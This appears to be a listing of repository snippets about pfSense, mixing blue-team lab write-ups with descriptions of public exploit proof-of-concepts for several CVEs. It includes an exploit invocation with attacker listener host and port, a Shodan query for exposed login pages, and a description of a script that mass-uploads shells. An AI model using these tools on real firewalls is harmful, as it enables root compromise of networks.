CyberDefense-Lab

Cyber Security Lab: ブルーチーム基盤とネットワーク防御 このラボプロジェクトは、集中型ネットワークセキュリティ、侵入検知・防御システム（IDS/IPS）、およびセキュリティ情報イベント管理（SIEM）に焦点を当てた、統合型「ブルーチーム」インフラの構築を実証します。pfSense を使用します。 1. 環境設定とネットワークアーキテクチャ ラボ環境は、仮想化環境（VMware）内でネットワークセグメンテーションの原則を用いて設計されています。 仮想マシン仕様 pfSense（ファイアウォール）: 1 GB RAM、4 vCPU | ネットワークアダプタ: Bridge...

CVE-2024-46538

この投稿は、EQSTLab によって公開された調査記事です。 この脆弱性を発見したphysicszq に感謝します。 CVE-2024-46538 ★ CVE-2024-46538 PfSense 保存型XSSによる任意コード実行 PoC ★ https://github.com/user-attachments/assets/f41d0945-b7f4-4f88-bac5-265904256aae 説明 CVE-2024-46538 : PfSense 保存型XSSの脆弱性 説明: pfsense v2.5.2 のクロスサイトスクリプティング XSS 脆弱性により、攻撃者は...

SenselessViolence

SenselessViolence CVE-2022-31814 pfSense pfBlockerNG = 2.1.426 悪用ツールキット。 これは何？ これは、IHTeam によって発見された pfSense pfBlockerNG = 2.1.426 プラグインのリモートコマンドインジェクション機能に対する悪用ツールキットです。 NSA のファイアウォール悪用ツールキットに見られる設計原則をいくつか試すためにこれを書きました。そのため、nopen...

pfsense-security-research

pfSense 2.8.0 の診断Webインターフェースにおける認証済み任意ファイル読み取り CVE ID: CVE-2025-53392 日付: 2025-06-27 著者: Seth Kraft ベンダーホームページ: https://www.netgate.com/ ベンダーチェンジログ: https://docs.netgate.com/pfsense/en/latest/releases/ ソフトウェアリンク: https://www.pfsense.org/download/ バージョン: pfSense CE 2.8.0 CWE ID: CWE-36 絶対パストラバーサル...

CVE-2023-42326

pfSense 2.7.0 コマンドインジェクションエクスプロイト CVE-2023-42326 このPythonスクリプトは、pfSense 2.7.0のコマンドインジェクション脆弱性（CVE-2023-42326）に対する概念実証（PoC）エクスプロイトです。この脆弱性により、認証された攻撃者は interfacesgifedit.php および interfacesgreedit.php コンポーネントを介して任意のコマンドを注入し実行できます。 機能 エクスプロイトモード選択（gif または gre）により、脆弱なコンポーネントを選択します。...

Security_incident_report

01. インフラ構成 このプロジェクトのインフラはIaCTerraformなどコードでは管理せず、pfSense・Wazuhをインストールした後に管理画面GUIで直接設定を変更 する方式で構成しました。そのため、ここでは「コード」ではなくネットワーク構成図と各設定画面のキャプチャ、そしてどの値をなぜ変更したのかを記録し、再現可能なようにまとめました。 ネットワーク構成 pfSenseを基準に外部WANと内部LANを分離し、スイッチで内部ネットワークをさらに4つのゾーンに分割しました。 区分| 対象システム| IP帯| 役割 ---|---|---|--- DMZ| WEB01 WAF +...

pfSense pfBlockerNG - OS Command Injection

pfSense pfBlockerNG through 2.1.427 allows remote attackers to execute arbitrary OS commands as root via the HTTP Host header. id: CVE-2022-40624 info: name: pfSense pfBlockerNG - OS Command Injection author: ritikchaddha severity: critical description: | pfSense pfBlockerNG through 2.1.427 allow...

pfsense

pfSense 概要 pfSenseプロジェクトは、FreeBSDオペレーティングシステムをベースとし、カスタムカーネルを備え、追加機能のためにサードパーティ製のフリーソフトウェアパッケージを含む、フリーのネットワークファイアウォールディストリビューションです。pfSenseソフトウェアは、パッケージシステムの助けを借りて、一般的な商用ファイアウォールと同等以上の機能を、人為的な制限を一切受けることなく提供することができます。世界中の数多くの導入環境において、Check Point、Cisco PIX、Cisco...

CVE-2014-4688

CVE-2014-4688 python3 pfsense.py --rhost 10.10.10.60 --lhost 10.10.14.2 --lport 9999 --username rohit --password pfsense...

CVE-2022-31814

CVE-2022-31814 Reworked and optimized exploit script of pfBlockerNG 2.1.426 vulnerability Exploit Title: pfBlockerNG 2.1.426 - Remote Code Execution RCE Shodan Results: https://www.shodan.io/search?query=http.title%3A%22pfSense+-+Login%22+%22Server%3A+nginx%22+%22Set-Cookie%3A+PHPSESSID%3D%22 Dat...

CVE-2025-69690-CVE-2025-69691

🔐 CVE-2025-69690 および CVE-2025-69691 Netgate pfSense Community Edition における認証済みリモートコード実行 📋 概要 フィールド| 詳細 ---|--- 研究者| Nelson Adhepeau @privlabs ベンダー| Netgate 製品| pfSense Community Edition バージョン| 2.7.2 および 2.8.0 タイプ| 認証済みリモートコード実行 開示| 2026年2月 ベンダー通知日| 2025年12月2日 CVE 割り当て| 2026年1月28日 ⚠️ 免責事項...

CVE-2022-31814

ダウンロード CVE-2022-31814 このスクリプトは、pfSense の脆弱性を悪用してシェルをアップロードし、コマンドを実行した後、シェルを削除します。 必要条件 Python 3.x requests ライブラリ インストール 1. リポジトリをクローンするか、スクリプトをダウンロードします。 2. 必要な Python ライブラリをインストールします: pip install requests 使用方法 python pfsense.py -f -c -f, --file: URL のリストを含むファイルへのパス（1行に1つ）。 -c, --command:...

pfSense - Arbitrary File Write

diagroutes.php in pfSense 2.5.2 allows sed data injection. Authenticated users are intended to be able to view data about the routes set in the firewall. The data is retrieved by executing the netstat utility, and then its output is parsed via the sed utility. Although the common protection...

dod-blue-team-network-lab

DoD Blue Team 네트워크 보안 및 강화 랩 요약 DoD 정렬 엔터프라이즈 네트워크를 시뮬레이션하는 고충실도 방어 보안 랩입니다. 이 프로젝트는 구조화된 네트워크 세분화, 시스템 강화, 중앙 집중식 텔레메트리 수집, 탐지 엔지니어링, 공격자 에뮬레이션, 그리고 RMF 및 STIG 스타일 제어 프레임워크에 정렬된 측정 가능한 검증을 보여줍니다. 이 랩은 탐지 검증, 사고 대응 문서화, 그리고 방산 계약자 환경에 적합한 규정 준수 산출물 생성 등 실제 블루팀 워크플로우를 모델링합니다. 현재 상태 이 랩은 현재 활발히 개발...

CVE-2014-4688-pfsense

CVE-2014-4688 – pfSense コマンドインジェクション CVE-2014-4688 用の修正版 Exploit-DB プルーフ・オブ・コンセプト pfSense statusrrdgraphimg.php コマンドインジェクション 概要 このリポジトリには、CVE-2014-4688 のオリジナルの Exploit-DB プルーフ・オブ・コンセプトの修正版が含まれており、pfSense バージョン ≤ 2.1.3 に影響します。 この脆弱性は statusrrdgraphimg.php コンポーネントに存在し、database...

dmz-security-monitoring-hardening

DMZセキュリティ監視とハードニング CY376: ネットワーク監視・セキュリティ・監査 — 学期末プロジェクト ブルーチーム | タルクワ鉱山技術大学 著者: Kennedy Kumi Holomah インデックス番号: FCM.41.018.148.23 学生ID: 9013004623 概要 このプロジェクトは、隔離されたVMware Workstationラボ内で、pfSenseファイアウォールの背後に公開用Ubuntu/Apache...

CVE-2024-46538

この脆弱性を発見したphysicszq に感謝します。 CVE-2024-46538 ★ CVE-2024-46538 PfSense 保存型XSSによる任意コード実行 PoC ★ 説明 CVE-2024-46538 : PfSense 保存型XSS脆弱性 説明: pfsense v2.5.2 のクロスサイトスクリプティング（XSS）脆弱性により、攻撃者は interfacesgroupsedit.php の $pconfig 変数に仕込まれた巧妙なペイロードを介して、任意のWebスクリプトまたはHTMLを実行することができます。 実験環境の構築...

Penetration-Testing-Walkthrough-Hacksudo-Thor

HackSudo Thor 完全なペネトレーションテストのウォークスルー ターゲット: HackSudo Thor from VulnHub 目的: rootアクセスを取得し /root/proof.txt を読み取る 環境: pfSense ファイアウォールによってセグメント化された隔離された VirtualBox ラボ 目次 概要 ネットワークトポロジー 攻撃チェーンの要約 フェーズ1: 受動的偵察 フェーズ2: ネットワークディスカバリと pfSense フェーズ3: ターゲットのスキャンと列挙 フェーズ4: 脆弱性評価 フェーズ5: アクセスの獲得 フェーズ6: 権限昇格...

CVE-2019-12949

CVE-2019-12949 クロスサイトスクリプティング脆弱性からリモートコード実行へ - pfSense 2.4.4-p2 および 2.4.4-p3 情報説明: pfSense 2.4.4-p2 および 2.4.4-p3 において、認証された管理者がフィッシングページ上のボタンをクリックするよう騙すことができた場合、攻撃者は dingcommand.php および rrdfetchjson.php を介して任意の実行可能コードをサーバーにアップロードできます。その後、リモート攻撃者はそのサーバー上で root 権限で任意のコマンドを実行できます。 研究者: Enter of The...

Vuln_Remediation_MegaQuagga

VulnRemediationMegaQuagga MegaQuagga Publishing 向けの修復レポート。段階的な防御階層化による CVE-2019-9978 の緩和を検証。リバースプロキシ導入、ModSecurity WAF 展開、Graylog SIEM 統合、および pfSense WAN/LAN インターフェースを横断したマルチステージ Wireshark PCAP 分析による SSL/TLS 適用を文書化。 脆弱性修復 — MegaQuagga 修復レポート 分析者: Samuel Weiss 組織: 0x2A Security バージョン: 1.1 2026年4月2...